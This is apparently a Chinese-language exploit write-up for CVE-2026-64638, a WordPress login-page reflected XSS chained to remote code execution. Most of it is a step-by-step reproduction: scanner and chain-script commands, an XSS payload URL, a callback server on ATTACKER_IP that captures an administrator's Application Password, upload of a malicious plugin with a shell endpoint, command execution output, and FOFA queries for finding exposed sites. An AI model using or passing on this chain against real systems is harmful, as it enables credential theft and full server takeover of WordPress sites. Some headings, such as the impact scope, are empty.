漏洞简介
CVE-2026-64638 是 WordPress Core 中的 Critical 级别预认证反射型 XSS 转 RCE 漏洞。该漏洞存在于 WordPress 登录页面
wp-login.php中,核心问题是登录失败流程中strip_tags()与wp_kses_post()对用户名的解析差异:strip_tags()对<后带空格的输入不识别为标签而放行,KSES 却将其重解析为合法 HTML,导致 DOM 注入。攻击者注入的 DOM 被登录页加载的user-profile.js自动交互,通过 DOM Clobbering 劫持ajaxurl并借助 REST JSONP 执行任意 JS。若管理员已登录,可进一步利用 SOME(Same-Origin Method Execution)技术窃取 Application Password,最终上传恶意插件实现 RCE。通过逆向分析漏洞利用链,攻击者只需诱导管理员访问恶意链接,无需任何身份认证即可完成从 XSS 到 RCE 的完整利用。成功利用后可获得以下操作:窃取管理员 Application Password、上传恶意插件、执行任意 PHP 代码、完全接管 WordPress 服务器。
该漏洞的影响链路:发现暴露的 WordPress → 诱导管理员访问恶意链接 → 登录页反射 XSS → DOM Clobbering 劫持 ajaxurl → 窃取 Application Password → 上传恶意插件 → RCE 远程代码执行。
影响范围
漏洞复现
准备环境
步骤 1:目标检测(被动识别)
使用 Scanner 脚本检测目标是否运行存在漏洞的 WordPress:
python3 xss2shell_scanner.py -u https://TARGET_IP脚本将检测以下内容:
WordPress 版本信息
登录页面反射测试
补丁状态判断
步骤 2:XSS Payload 生成与验证
生成 XSS 测试 Payload:
python3 xss2shell_chain.py gen-xss -u https://TARGET_IP -c http://ATTACKER_IP:8080成功响应示例:
```
[+] Target: https://TARGET_IP
[+] WordPress version: 7.0.2 (VULNERABLE)
[+] XSS payload URL generated:
https://TARGET_IP/wp-login.php?log=%22%3E%3Csvg+onload%3Dalert%28document.domain%29%3E&pwd=bogus&wp-submit=Log+In&redirect_to=https%3A%2F%2FTARGET_IP%2Fwp-login.php%3Fcheck%3D1
[+] Callback server: http://ATTACKER_IP:8080/callback
```步骤 3:Application Password 窃取(需管理员交互)
当管理员访问上述恶意链接后,启动回调服务器捕获凭据:
python3 exploit_server.py --host 0.0.0.0 --port 8080成功捕获示例:
```
[*] XSS2Shell Callback Server running on 0.0.0.0:8080
[*] Waiting for admin interaction...
[+] New callback received from 192.168.1.100
[+] Application Password captured: user=admin pass=XXXX XXXX XXXX XXXX
[+] Saved to creds.json
```步骤 4:恶意插件上传
使用捕获的凭据上传恶意插件:
python3 xss2shell_chain.py stage-plugin -u https://TARGET_IP --apppass "XXXX XXXX XXXX XXXX"输出示例:
```
[+] Authenticating with Application Password...
[+] Plugin ZIP created: xss2shell-poc.zip
[+] Uploading plugin via REST API...
[+] Plugin activated: xss2shell-poc
[+] Shell endpoint: https://TARGET_IP/wp-content/plugins/xss2shell-poc/shell.php
```步骤 5:远程代码执行(RCE)
执行系统命令:
python3 xss2shell_chain.py stage-rce -u https://TARGET_IP --cmd "whoami"成功响应示例:
```
[+] Executing command: whoami
[+] Response: www-data
[+] RCE confirmed!
```或一键完成全链:
python3 xss2shell_chain.py chain -u https://TARGET_IP --cmd "id"完整输出示例:
```
============================================================
CVE-2026-64638 XSS2Shell Full Chain PoC
============================================================
[STAGE 1] Scanning target...
[+] WordPress version: 7.0.2 (VULNERABLE)
[STAGE 2] Generating XSS payload...
[+] Payload URL: https://TARGET_IP/wp-login.php?log=...
[STAGE 3] Waiting for admin interaction...
[*] Please have admin open the callback page first
[STAGE 4] Capturing Application Password...
[+] Password: XXXX XXXX XXXX XXXX
[STAGE 5] Uploading malicious plugin...
[+] Plugin uploaded and activated
[STAGE 6] Executing remote command...
[+] Command: id
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] RCE achieved! Full chain complete.
[+] Shell: https://TARGET_IP/wp-content/plugins/xss2shell-poc/shell.php
============================================================
```FOFA 语法
app="WordPress"或精确匹配登录页:
body="/wp-login.php" && body="WordPress"